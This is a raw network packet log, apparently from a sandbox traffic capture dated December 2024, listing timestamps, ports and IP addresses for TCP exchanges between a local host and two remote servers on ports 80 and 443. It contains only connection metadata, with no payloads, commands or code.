Dec 2, 2024 07:38:10.200404882 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.200463057 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.200469017 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.200483084 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.200512886 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.200540066 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.201510906 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.201570034 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.202640057 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.202655077 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.202666998 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.202702045 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.202717066 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.204111099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.204160929 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.204246998 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.204467058 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.204715014 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.204726934 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.204783916 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.206899881 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.206917048 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.206928015 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.206969023 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.207009077 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.207119942 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.207235098 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.207886934 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.207899094 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.207947016 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.207962036 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.208926916 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.208973885 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.208977938 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.209011078 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.210243940 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.210311890 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.210553885 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.210604906 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.211040020 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.211179018 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.211344957 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.211393118 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.212071896 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.212436914 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.212961912 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.213165045 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.213175058 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.213211060 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.213253975 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.214420080 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.214618921 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.214675903 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.215481043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.216339111 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.216350079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.216389894 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.216409922 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.216510057 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.217371941 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.217891932 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.217945099 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.218435049 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.218445063 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.218488932 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.219638109 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.219686985 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.219718933 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.219958067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.220546961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.220594883 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.221626997 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.221640110 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.221651077 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.221689939 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.221713066 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.222742081 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.222754955 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.222790956 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.222799063 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.223891973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.223948956 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.224725008 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.224771976 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.224802971 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.224813938 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.224853039 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.225857019 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.225867987 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.225907087 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.226881981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.226927996 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.227174044 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.227226973 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.227936983 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.227984905 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.228868961 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.228919983 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.262357950 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.262964010 CET	49863	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.262984037 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.263497114 CET	49863	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.263501883 CET	443	49863	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.343622923 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.343635082 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.343694925 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.343735933 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.344180107 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.344248056 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.344288111 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.344337940 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.345170975 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.345243931 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.345283031 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.345350981 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.346220970 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.346272945 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.359865904 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.360443115 CET	49864	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.360450983 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.360995054 CET	49864	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.361000061 CET	443	49864	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.368755102 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.368837118 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.368848085 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.368894100 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.369249105 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.369338989 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.369386911 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.370388031 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.370436907 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.370461941 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.370501995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.371345043 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.371404886 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.371699095 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.371824026 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.371870995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.372766972 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.372821093 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.372883081 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.372934103 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.373795986 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.373879910 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.373912096 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.373958111 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.374876022 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.374924898 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.374948978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.374988079 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.375957966 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.376019955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.376053095 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.376106024 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.376995087 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.377047062 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.377118111 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.377156973 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.378030062 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.378101110 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.378139019 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.378180981 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.379101992 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.379177094 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.379204988 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.379245996 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.380129099 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.380192995 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.380234003 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.380351067 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.381213903 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.381263018 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.381340027 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.381387949 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.382299900 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.382361889 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.382452965 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.382505894 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.383654118 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.383733034 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.383743048 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.383783102 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.384355068 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.384440899 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.384511948 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.384582996 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.385421991 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.385488987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.385528088 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.385574102 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.386461973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.386507988 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.386579990 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.386629105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.387538910 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.387639999 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.387691975 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.388576984 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.388652086 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.388678074 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.388724089 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.389630079 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.389703989 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.389736891 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.389837980 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.390705109 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.390770912 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.390799999 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.390872002 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.392296076 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.392345905 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.392381907 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.392477989 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.393906116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.393961906 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.394083023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.394126892 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.394706011 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.394717932 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.394768953 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.395160913 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.395179033 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.395226955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.395998001 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.396045923 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.396076918 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.396114111 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.397041082 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.397098064 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.397103071 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.397223949 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.398117065 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.398174047 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.398207903 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.398250103 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.399138927 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.399190903 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.399281025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.399346113 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.400226116 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.400284052 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.400312901 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.400352001 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.401264906 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.401321888 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.401366949 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.401408911 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.402410030 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.402452946 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.402467012 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.402508020 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.403393984 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.403441906 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.403563023 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.403610945 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.404436111 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.404484987 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.404530048 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.404567957 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.405498981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.405554056 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.405596018 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.405639887 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.406558037 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.406613111 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.406666040 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.406704903 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.407601118 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.407655954 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.407695055 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.407737017 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.408658981 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.408706903 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.408746004 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.408778906 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.409704924 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.409768105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.409815073 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.409873009 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.410808086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.410854101 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.410914898 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.410953999 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.411832094 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.411885023 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.411921978 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.411974907 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.412873030 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.412929058 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.412985086 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.413028955 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.413923025 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.413975000 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.414035082 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.414077044 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.415003061 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.415050983 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.415088892 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.415132046 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.416070938 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.416124105 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.416131973 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.416230917 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.417156935 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.417212963 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.417243004 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.417283058 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.418203115 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.418257952 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.418294907 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.418337107 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.419235945 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.419290066 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.419353962 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.419399023 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.420289993 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.420330048 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.535579920 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.535653114 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.535691977 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.535743952 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.536099911 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.536150932 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.536220074 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.536258936 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.537178993 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.537234068 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.537265062 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.537306070 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.538167000 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.538218975 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.551985025 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.552577972 CET	49865	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.552592993 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.553107023 CET	49865	443	192.168.2.6	13.107.246.63
Dec 2, 2024 07:38:10.553113937 CET	443	49865	13.107.246.63	192.168.2.6
Dec 2, 2024 07:38:10.562072039 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.562155962 CET	80	49859	185.215.113.16	192.168.2.6
Dec 2, 2024 07:38:10.562156916 CET	49859	80	192.168.2.6	185.215.113.16
Dec 2, 2024 07:38:10.562201977 CET	49859	80	192.168.2.6	185.215.113.16
